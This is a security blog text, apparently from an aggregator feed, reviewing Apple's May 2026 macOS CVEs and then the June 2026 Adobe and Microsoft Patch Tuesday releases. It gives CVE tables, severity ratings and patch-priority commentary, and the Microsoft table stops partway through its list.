For May 2026, Apple released 82 unique CVEs across the three macOS versions: 79 for macOS Tahoe 26.5, 45 for macOS Sequoia 15.7.7, and 42 for macOS Sonoma 14.8.7. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. However, there are a couple that stand out.

-              CVE-2026-28819 (Wi-Fi) stands out as the strongest candidate for the most severe as it states, “An app may be able to execute arbitrary code with kernel privileges.” The combination of arbitrary code execution at the kernel level is about as bad as it gets on a severity scale. Plus, it affects all three macOS versions (Tahoe, Sequoia, and Sonoma).

-              CVE-2026-43668 (mDNSResponder) also piques my interest since, “A remote attacker may be able to cause unexpected system termination or corrupt kernel memory.” The remote attack vector with kernel memory corruption on all three OS versions makes this a serious one, especially since mDNSResponder is always running.

-              CVE-2026-28972 (Kernel) This one states that “An app may be able to cause unexpected system termination or write kernel memory.” An out-of-bounds write directly into kernel memory on all three OS versions. This one may also have implications in the upcoming Pwn2Own Berlin contest.

Here’s a look at all the bugs released by Apple this month:

82Unique CVEs 79macOS Tahoe 26.5 45macOS Sequoia 15.7.7 42macOS Sonoma 14.8.7
CVE ID Component Impact macOS Tahoe 26.5 macOS Sequoia 15.7.7 macOS Sonoma 14.8.7
CVE-2026-28991 Accelerate An app may be able to cause a denial-of-service Yes No No
CVE-2026-28988 Accounts An app may be able to bypass certain Privacy preferences Yes No No
CVE-2026-28959 APFS An app may be able to cause unexpected system termination Yes Yes Yes
CVE-2026-28995 App Intents A malicious app may be able to break out of its sandbox Yes No No
CVE-2026-1837 AppleJPEG Processing a maliciously crafted image may lead to a denial-of-service Yes No No
CVE-2026-28956 AppleJPEG Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory Yes Yes Yes
CVE-2026-39869 Audio Processing an audio stream in a maliciously crafted media file may terminate the process Yes Yes Yes
CVE-2026-28922 CoreMedia An app may be able to access private information Yes Yes Yes
CVE-2026-28936 CoreServices Processing a maliciously crafted file may lead to unexpected app termination Yes No Yes
CVE-2026-28918 CoreSymbolication Parsing a maliciously crafted file may lead to an unexpected app termination Yes No No
CVE-2026-28878 Crash Reporter An app may be able to enumerate a user's installed apps No Yes No
CVE-2026-28915 CUPS An app may be able to gain root privileges Yes Yes Yes
CVE-2026-43659 FileProvider An app may be able to access sensitive user data Yes Yes Yes
CVE-2026-28923 GPU Drivers A malicious app may be able to break out of its sandbox Yes Yes Yes
CVE-2026-28925 HFS An app may be able to cause unexpected system termination or write kernel memory Yes Yes Yes
CVE-2025-43524 Icons An app may be able to break out of its sandbox No Yes Yes
CVE-2026-43661 ImageIO Processing a maliciously crafted image may corrupt process memory Yes No No
CVE-2026-28977 ImageIO Processing a maliciously crafted file may lead to unexpected app termination Yes Yes Yes
CVE-2026-28990 ImageIO Processing a maliciously crafted image may corrupt process memory Yes Yes Yes
CVE-2026-28978 Installer A malicious app may be able to break out of its sandbox Yes Yes Yes
CVE-2026-28992 IOHIDFamily An attacker may be able to cause unexpected app termination Yes Yes Yes
CVE-2026-28943 IOHIDFamily An app may be able to determine kernel memory layout Yes Yes Yes
CVE-2026-28969 IOKit An app may be able to cause unexpected system termination Yes Yes Yes
CVE-2026-43655 IOSurfaceAccelerator An app may be able to cause unexpected system termination or read kernel memory Yes No No
CVE-2026-43654 Kernel An app may be able to disclose kernel memory Yes Yes Yes
CVE-2026-28908 Kernel An app may be able to modify protected parts of the file system Yes Yes Yes
CVE-2026-28954 Kernel A maliciously crafted disk image may bypass Gatekeeper checks Yes Yes Yes
CVE-2026-28897 Kernel A local user may be able to cause unexpected system termination or read kernel memory Yes Yes Yes
CVE-2026-28952 Kernel An app may be able to cause unexpected system termination Yes Yes Yes
CVE-2026-28951 Kernel An app may be able to gain root privileges Yes Yes Yes
CVE-2026-28972 Kernel An app may be able to cause unexpected system termination or write kernel memory Yes Yes Yes
CVE-2026-28986 Kernel An app may be able to cause unexpected system termination Yes Yes Yes
CVE-2026-28987 Kernel An app may be able to leak sensitive kernel state Yes Yes Yes
CVE-2026-28983 LaunchServices A remote attacker may be able to cause a denial of service Yes No No
CVE-2026-28929 Mail Drafts Replying to an email could display remote images in Mail in Lockdown Mode Yes Yes Yes
CVE-2026-43653 mDNSResponder An attacker on the local network may be able to cause a denial-of-service Yes No Yes
CVE-2026-28985 mDNSResponder An attacker on the local network may be able to cause a denial-of-service Yes No No
CVE-2026-43668 mDNSResponder A remote attacker may be able to cause unexpected system termination or corrupt kernel memory Yes Yes Yes
CVE-2026-43666 mDNSResponder An attacker on the local network may be able to cause a denial-of-service Yes Yes Yes
CVE-2026-28941 Model I/O Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents Yes Yes No
CVE-2026-28940 Model I/O Processing a maliciously crafted image may corrupt process memory Yes Yes No
CVE-2026-28961 Network Extensions An attacker with physical access to a locked device may be able to view sensitive user information Yes No No
CVE-2026-28906 Networking An attacker may be able to track users through their IP address Yes Yes Yes
CVE-2026-28840 PackageKit An app may be able to gain root privileges No Yes Yes
CVE-2026-43656 Quick Look Parsing a maliciously crafted file may lead to an unexpected app termination Yes Yes Yes
CVE-2026-43652 Sandbox An app may be able to access protected user data Yes No No
CVE-2026-39870 SceneKit Processing a maliciously crafted image may corrupt process memory Yes Yes Yes
CVE-2026-28846 SceneKit A remote attacker may be able to cause unexpected app termination Yes Yes Yes
CVE-2026-28993 Shortcuts An app may be able to access user-sensitive data Yes Yes Yes
CVE-2026-28848 SMB A remote attacker may be able to cause unexpected system termination Yes Yes No
CVE-2026-28930 Spotlight An app may be able to access protected user data Yes No No
CVE-2026-28974 Spotlight An app may be able to cause a denial-of-service Yes Yes No
CVE-2026-28996 Storage An app may be able to access sensitive user data Yes Yes Yes
CVE-2026-28919 StorageKit An app may be able to gain root privileges Yes Yes Yes
CVE-2026-28924 Sync Services An app may be able to access Contacts without user consent Yes Yes Yes
CVE-2026-39871 TV App An app may be able to observe unprotected user data Yes Yes Yes
CVE-2026-28976 UserAccountUpdater An app may be able to gain root privileges Yes No No
CVE-2026-43660 WebKit Processing maliciously crafted web content may prevent Content Security Policy from being enforced Yes No No
CVE-2026-28907 WebKit Processing maliciously crafted web content may prevent Content Security Policy from being enforced Yes No No
CVE-2026-28962 WebKit Processing maliciously crafted web content may disclose sensitive user information Yes No No
CVE-2026-43658 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes No No
CVE-2026-28905 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28847 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28904 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28955 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28903 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28953 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28902 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28901 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28913 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28883 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28958 WebKit An app may be able to access sensitive user data Yes No No
CVE-2026-28917 WebKit Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28947 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes No No
CVE-2026-28946 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes No No
CVE-2026-28942 WebKit Processing maliciously crafted web content may lead to an unexpected Safari crash Yes No No
CVE-2026-28971 WebKit A malicious iframe may use another website's download settings Yes No No
CVE-2026-28944 WebRTC Processing maliciously crafted web content may lead to an unexpected process crash Yes No No
CVE-2026-28819 Wi-Fi An app may be able to execute arbitrary code with kernel privileges Yes Yes Yes
CVE-2026-28994 Wi-Fi An attacker in a privileged network position may be able to perform denial-of-service attack using crafted Wi-Fi packets Yes Yes Yes
CVE-2026-28914 zip A maliciously crafted ZIP archive may bypass Gatekeeper checks Yes No No
CVE-2026-28920 zlib Visiting a maliciously crafted website may leak sensitive data Yes Yes Yes
CVEs marked with the scarab logo were reported through the TrendAI Zero Day Initiative program.

We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.

]]> <![CDATA[The June 2026 Security Update Review]]> https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/ https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/ Sat, 25 Jul 2026 19:02:53 +0200 đŸ•”ïž Hacking tsecurity.de I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for June 2026

For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.

Here’s this month’s overview table:

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-66 Adobe Campaign Classic 2 Critical 10.0 No 1
APSB26-64 Adobe ColdFusion 7 Critical 9.6 No 1
APSB26-63 Adobe Acrobat Reader 20 Critical 7.8 No 2
APSB26-57 Adobe Experience Manager Forms 3 Critical 9.3 No 2
APSB26-62 Adobe Dreamweaver 5 Critical 8.6 No 3
APSB26-65 Adobe Format Plugins 2 Critical 7.8 No 3
APSB26-59 Adobe InCopy 3 Critical 7.8 No 3
APSB26-58 Adobe InDesign 12 Critical 7.8 No 3
APSB26-60 Adobe Substance 3D Sampler 4 Critical 7.8 No 3
APSB26-61 Content Credentials SDK 8 Critical 7.5 No 3
APSB26-56 Adobe Experience Manager 57 Important 5.4 No 3
TOTAL 11 bulletins 123

Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.

Microsoft Patches for June 2026

This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.

One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.

I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.

One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.

-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege Vulnerability
Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.

-    CVE-2026-45657 - Windows Kernel Remote Code Execution Vulnerability
This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.

-    CVE-2026-47291 - HTTP.sys Remote Code Execution Vulnerability
Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.

-    CVE-2026-44815 - DHCP Client Service Remote Code Execution Vulnerability
Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.

-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass Vulnerability
If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “bone shattering” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.

 Here’s the full list of CVEs released by Microsoft for June 2026:

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CVE Title Severity CVSS Public Exploited XI Type
CVE-2026-41091 Microsoft Defender Elevation of Privilege Vulnerability Important 7.8 Yes Yes 0 EoP
CVE-2026-49160 HTTP.sys Denial of Service Vulnerability Important 7.5 Yes No 1 DoS
CVE-2026-50507 Windows BitLocker Security Feature Bypass Vulnerability Important 6.8 Yes No 1 SFB
CVE-2026-45586 Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability Important 7.8 Yes No 1 EoP
CVE-2025-10263 * ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel] Critical 9.3 No No 2 EoP
CVE-2026-48567 Azure HorizonDB Elevation of Privilege Vulnerability Critical 10 No No N/A EoP
CVE-2026-32193 Azure Kubernetes Service (AKS) Remote Code Execution Vulnerability Critical 8.8 No No 3 RCE
CVE-2026-47644 Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability Critical 6.5 No No 2 Info
CVE-2026-44815 DHCP Client Service Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-47291 HTTP.sys Remote Code Execution Vulnerability Critical 9.8 No No 1 RCE
CVE-2026-42824 M365 Copilot Information Disclosure Vulnerability Critical 6.5 No No N/A Info
CVE-2026-45476 Microsoft Azure Network Adapter Elevation of Privilege Vulnerability Critical 8.2 No No 2 EoP
CVE-2026-44810 Microsoft Cryptographic Services Elevation of Privilege Vulnerability Critical 8.4 No No 2 EoP
CVE-2026-48579 Microsoft Exchange Online Information Disclosure Vulnerability Critical 9.1 No No N/A Info
CVE-2026-47655 Microsoft Graph Information Disclosure Vulnerability Critical 6.5 No No N/A Info
CVE-2026-45497 Microsoft M365 Copilot Remote Code Execution Vulnerability Critical 7.7 No No N/A RCE
CVE-2026-45460 Microsoft Office Information Disclosure Vulnerability Critical 4.7 No No 3 Info
CVE-2026-45472 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45474 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45461 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45463 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45456 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45458 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-47635 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-26142 Nuance PowerScribe Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-47289 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No 2 RCE
CVE-2026-47654 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 3 RCE
CVE-2026-48563 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-42992 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-44799 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-44801 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-42985 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No 1 RCE
CVE-2026-45648 Windows Active Directory Domain Services Remote Code Execution Vulnerability Critical 8.8 No No 3 RCE
CVE-2026-42987 Windows Deployment Services (WDS) Remote Code Execution Critical 8.1 No No 2 RCE
CVE-2026-33828 Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability Critical 7.8 No No 3 EoP
CVE-2026-44803 Windows Graphics Component Remote Code Execution Vulnerability Critical 7.8 No No 1 RCE
CVE-2026-44812 Windows Graphics Component Remote Code Execution Vulnerability Critical 7.8 No No 1 RCE
CVE-2026-45607 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45641 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-47652 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.2 No No 2 RCE
CVE-2026-47288 Windows Kerberos Key Distribution Center (KDC) Remote Code Execution Critical 7.1 No No 3 RCE
CVE-2026-45657 Windows Kernel Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-48574 Windows Media Remote Code Execution Vulnerability Critical 7.8 No No 2 RCE
CVE-2026-45490 .NET SDK Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45491 .NET Tampering Vulnerability Important 6.2 No No 3 Tampering
CVE-2026-45591 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No 2 DoS
CVE-2026-47643 Azure Stack Edge Remote Code Execution Vulnerability Important 9.8 No No 3 RCE
CVE-2026-41098 Azure Stack Edge Spoofing Vulnerability Important 8.4 No No 2 Spoofing
CVE-2026-45642 Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability Important 3.9 No No 2 Spoofing
CVE-2026-45650 Microsoft Bing Search Spoofing Vulnerability Important 4.3 No No 2 Spoofing
CVE-2026-45637 Microsoft DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45647 Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability Important 5.5 No No 2 EoP
CVE-2026-40371 Microsoft Dynamics 365 (on-premises) Elevation of Privilege Vulnerability Important 8.8 No No 2 EoP
CVE-2026-44822 Microsoft Excel Information Disclosure Vulnerability Important 8.2 No No 3 Info
CVE-2026-45455 Microsoft Excel Information Disclosure Vulnerability Important 3.3 No No 2 Info
CVE-2026-45469 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44817 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 3 RCE
CVE-2026-44818 Microsoft Excel Remote Code Execution Vulnerability Important 7 No No 2 RCE
CVE-2026-44820 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44823 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45459 Microsoft Excel Security Feature Bypass Vulnerability Important 3.3 No No 2 SFB
CVE-2026-45504 Microsoft Exchange Server Elevation of Privilege Vulnerability Important 8.8 No No 3 EoP
CVE-2026-45502 Microsoft Exchange Server Information Disclosure Vulnerability Important 5 No No 3 Info
CVE-2026-45503 Microsoft Exchange Server Information Disclosure Vulnerability Important 8.1 No No 3 Info
CVE-2026-45583 Microsoft Exchange Server Remote Code Execution Vulnerability Important 7.5 No No 2 RCE
CVE-2026-45500 Microsoft Exchange Server Spoofing Vulnerability Important 6.1 No No 2 Spoofing
CVE-2026-45501 Microsoft Exchange Server Spoofing Vulnerability Important 6.5 No No 2 Spoofing
CVE-2026-47631 Microsoft Exchange Server Spoofing Vulnerability Important 8.1 No No 2 Spoofing
CVE-2026-42986 Microsoft Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-41092 Microsoft Kinect Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45644 Microsoft Live Share Canvas SDK Elevation of Privilege Vulnerability Important 8 No No 2 EoP
CVE-2026-47293 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45485 Microsoft Office Information Disclosure Vulnerability Important 3.3 No No 2 Info
CVE-2026-44821 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45483 Microsoft Office Project Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45475 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44819 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44824 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45645 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-49161 Microsoft PC Manager Security Feature Bypass Vulnerability Important 7.8 No No 3 SFB
CVE-2026-42902 Microsoft PowerToys Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45484 Microsoft SharePoint Elevation of Privilege Vulnerability Important 8.8 No No 2 EoP
CVE-2026-45454 Microsoft SharePoint Remote Code Execution Vulnerability Important 6.5 No No 2 RCE
CVE-2026-47298 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8 No No 2 RCE
CVE-2026-45467 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45468 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45479 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45453 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47636 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47637 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-47638 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-47639 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 3 Spoofing
CVE-2026-47641 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-33113 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-45462 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45464 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-45465 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47634 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No 1 Spoofing
CVE-2026-47640 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 3 Spoofing
CVE-2026-45481 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No 1 Spoofing
CVE-2026-48560 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-48562 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-42835 Microsoft Teams for Android Information Disclosure Vulnerability Important 8.1 No No 2 Info
CVE-2026-45606 Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability Important 5.5 No No 2 DoS
CVE-2026-45482 Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability Important 8.4 No No 2 SFB
CVE-2026-45466 Microsoft Word Information Disclosure Vulnerability Important 3.3 No No 3 Info
CVE-2026-45471 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45486 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45643 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45457 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-42980 NT OS Kernel Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-42916 NT OS Kernel Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45649 Office for Android Spoofing Vulnerability Important 7.1 No No 3 Spoofing
CVE-2026-47653 Remote Desktop Client Remote Code Execution Vulnerability Important 8.8 No No 3 RCE
CVE-2026-42909 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 3 RCE
CVE-2026-42913 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 3 RCE
CVE-2026-42993 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 2 RCE
CVE-2026-45588 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48568 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48570 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48573 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48575 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48576 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48578 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-45654 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-45656 UEFI Secure Boot Security Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-8863 UEFI Secure Boot Security Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-40376 Visual Studio Code Elevation of Privilege Vulnerability Important 7.5 No No 2 EoP
CVE-2026-47281 Visual Studio Code Elevation of Privilege Vulnerability Important 9.6 No No 3 EoP
CVE-2026-47284 Visual Studio Code Information Disclosure Vulnerability Important 6.5 No No 2 Info
CVE-2026-47292 Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-48569 Visual Studio Code Security Feature Bypass Vulnerability Important 7.1 No No 2 SFB
CVE-2026-47287 Visual Studio Code Tampering Vulnerability Important 6.5 No No 2 Tampering
CVE-2026-42829 Windows Administrator Protection Secure Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-34335 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45601 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45598 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45596 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45638 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45603 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-42911 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45594 Windows Application Identity (AppID) Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45655 Windows BitLocker Security Feature Bypass Vulnerability Important 5.3 No No 2 SFB
CVE-2026-45658 Windows BitLocker Security Feature Bypass Vulnerability Important 7.8 No No 1 SFB
CVE-2026-45640 Windows Bluetooth Port Driver Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45605 Windows Bluetooth Service Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-47656 Windows Boot Manager Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-44809 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45634 Windows DHCP Client Information Disclosure Vulnerability Important 5.5 No No 3 Info
CVE-2026-45608 Windows DHCP Client Information Disclosure Vulnerability Important 6.8 No No 3 Info
CVE-2026-41108 Windows DNS Client Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42905 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-44811 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44808 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44807 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42983 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44802 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
